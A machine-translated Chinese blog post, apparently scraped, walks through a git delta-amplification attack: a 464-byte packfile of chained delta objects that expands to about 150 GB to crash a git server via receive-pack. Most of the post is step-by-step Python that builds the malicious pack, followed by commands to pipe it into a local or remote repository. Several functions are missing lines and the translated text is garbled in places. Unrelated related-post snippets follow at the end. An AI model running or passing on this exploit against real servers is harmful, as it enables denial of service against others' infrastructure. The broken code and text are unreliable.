Git增量擴增

2021-10-05 22:16:45 字數 4434 閱讀 4856

git協議的乙個有趣方面是delta物件。 它們實質上允許從乙個物件複製貼上內容以建立乙個新物件。 讓我們使用增量建立乙個巨大的物件,並嘗試破壞git伺服器!

我們可以複製貼上的最大位元組數為16711680位元組(255 << 16),因此我們將使用此大小的blob並將其貼上幾千次。 只是為了好玩,我們實際上將從255個位元組的blob開始,然後逐步提高。

但是首先,我們需要學習git協議。 負責接收物件的命令是receive-pack,它期望的第一件事是參考更新列表。 例如:

refs/heads/master

我們不會費心尋找有效的old_sha1 ,因此我們將通過建立乙個新引用來迴避它。 我們可以通過使用特殊的零id雜湊值做到這一點:0000000000000000000000000000000000000000000000。 對於new_sha1,我們將僅使用乙個虛擬雜湊,例如11111111111111111111111111111111111111111,因為我們希望git伺服器在實際嘗試驗證該雜湊之前崩潰。

最後,這些命令以pkt-line格式編碼,該格式新增了4位元組長的十六進製制字首。 因此,讓我們看看目前為止(我將使用python 3作為**示例)。

zero_id = b'0' * 40

fake_id = b'1' * 40

create_ref = b'%s %s refs/heads/***\x00\n' % (zero_id, fake_id)

pkt_line = b'%04x%s' % (len(create_ref) + 4, create_ref)

sys.stdout.buffer.write(pkt_line)

sys.stdout.buffer.write(b'0000')

接下來,我們需要開始打包將要傳送的物件。 讓我們從標頭開始:12個位元組,包括:ascii中的「 pack」,後跟4個位元組的版本號(總是2)和4個位元組的跟隨物件的數目(所有數字按網路位元組順序排列)。 根據我們的計畫,我們將從大小為255的blob物件開始,使用此物件生成大小為65280的blob,然後使用此物件生成大小為16711680的blob,最後生成我們的大物件,因此共有4個物件。 我們不會費心建立任何提交物件。

pack = bytearray()

pack += b'pack' + struct.pack('!ii', 2, 4)

標頭已準備好,讓我們新增第乙個blob。 包中的每個物件都需要乙個物件標頭,該標頭編碼其型別和大小。 我們將使用的型別號是:blob為3,delta為7

具有固定大小的字段將太明顯了,因此git使用其自己的可變長度編碼。 讓我們編寫乙個函式來做到這一點:

def object_header(obj_type, obj_size):

header = bytearray()

b = (obj_type << 4) | (obj_size & 15)

obj_size >>= 4

while obj_size > 0:

b = obj_size & 0x7f

obj_size >>= 7

return header

我們終於準備好新增第乙個blob!

size0 = 255

blob0 = os.urandom(size0)

pack += object_header(3, size0)

pack += zlib.compress(blob0)

現在,我們可以建立第乙個增量。 我們將blob0複製貼上256次,以得到大小為65280的新blob。delta格式非常簡單:

src_size dst_size [commands]

當然,大小也使用可變長度編碼,因此讓我們建立幾個輔助函式:

def make_delta(src_size, dst_size, commands):

return encode_size(src_size) + encode_size(dst_size) + commands

def encode_size(n):

b = bytearray()

while n > 0:

mod = n & 0x7f

n >>= 7

if n > 0:

else:

return b

我們還需要指向帶有20位元組雜湊頭的源物件,所以讓我們新增乙個函式來計算blob的id:

def blob_id(blob):

m = hashlib.sha1()

m.update(b'blob %d\0' % len(blob))

m.update(blob)

return m.digest()

現在,我們有了所有構建塊來建立我們的第乙個增量物件:

size1 = size0 * 256

cmd1 = bytes([0x80 | 0x10, 0xff]) * 256

delta1 = make_delta(size0, size1, cmd1)

pack += object_header(7, len(delta1))

pack += blob_id(blob0)     # source

pack += zlib.compress(delta1)

讓我們來談談我們建立的命令。 第乙個位元組定義了我們正在執行的操作。0x80表示我們要從源物件複製。0x10表示後面的位元組將說明要複製多少位元組。 因此,這2個位元組實際上轉換為:複製255個位元組。 我們這樣做256次。

好的,讓我們建立第二個增量:

size2 = size1 * 256

cmd2 = bytes([0x80 | 0x20, 0xff]) * 256

delta2 = make_delta(size1, size2, cmd2)

pack += object_header(7, len(delta2))

pack += blob_id(blob0 * 256)    # source blob

pack += zlib.compress(delta2)

請注意,這裡我們如何使用命令0x20,這意味著下乙個位元組將乘以256,並用作副本大小。 因此,我們的新命令轉換為:複製65280位元組,共256次。 另請注意,對於源id,我們使用將由delta1生成的blob

delta2是我們最大的構建塊,讓我們使用它來生成大約150 gb的blob大小。

size3 = size2 * 10000

cmd3 = bytes([0x80 | 0x40, 0xff]) * 10000

delta3 = make_delta(size2, size3, cmd3)

pack += object_header(7, len(delta3))

pack += blob_id(blob0 * 256 * 256)    # source blob

pack += zlib.compress(delta3)

在這裡,我們使用命令0x40,該命令將以下位元組乘以65536,從而允許我們建立命令:複製16711680位元組,共10000次。

就是這樣,總包大小為464位元組,可生成約150 gb。 您可以執行:

./amplify.py | git receive-pack /path/to/repo.git

或嘗試使用遠端倉庫:

from:

List容量擴增的數量

list介面的大小可變陣列的實現。實現了所有可選列表操作,並允許包括 null 在內的所有元素。arraylist繼承於list介面,除繼承過來的方法外,還提供一些方法來操作內部用來儲存列表的陣列的大小。每個arraylist例項都有乙個容量。該容量是指用來儲存列表元素的陣列的大小。它總是至少等於列...

資料讀取與資料擴增

由於每個的字元個數不定,所以將字元識別建模為目標檢測,採用目標檢測模型進行字元的識別。模型backbone採用encoder decoder架構的resnet18,在encoder部分採用resnet常規的降取樣步長為8,在decoder部分採用可變性卷積和轉置卷積上取樣到步長為2。檢測頭採用cen...

git自動打tag,再生成增量包

bin bash author kingboy description create tag list for update 獲取當前專案的配置名稱 gitdir tdwnews 要輸出的目錄路徑 dir home git gitdir 當前操作目錄 pwdpath pwd 判斷是否有該目錄沒有則建...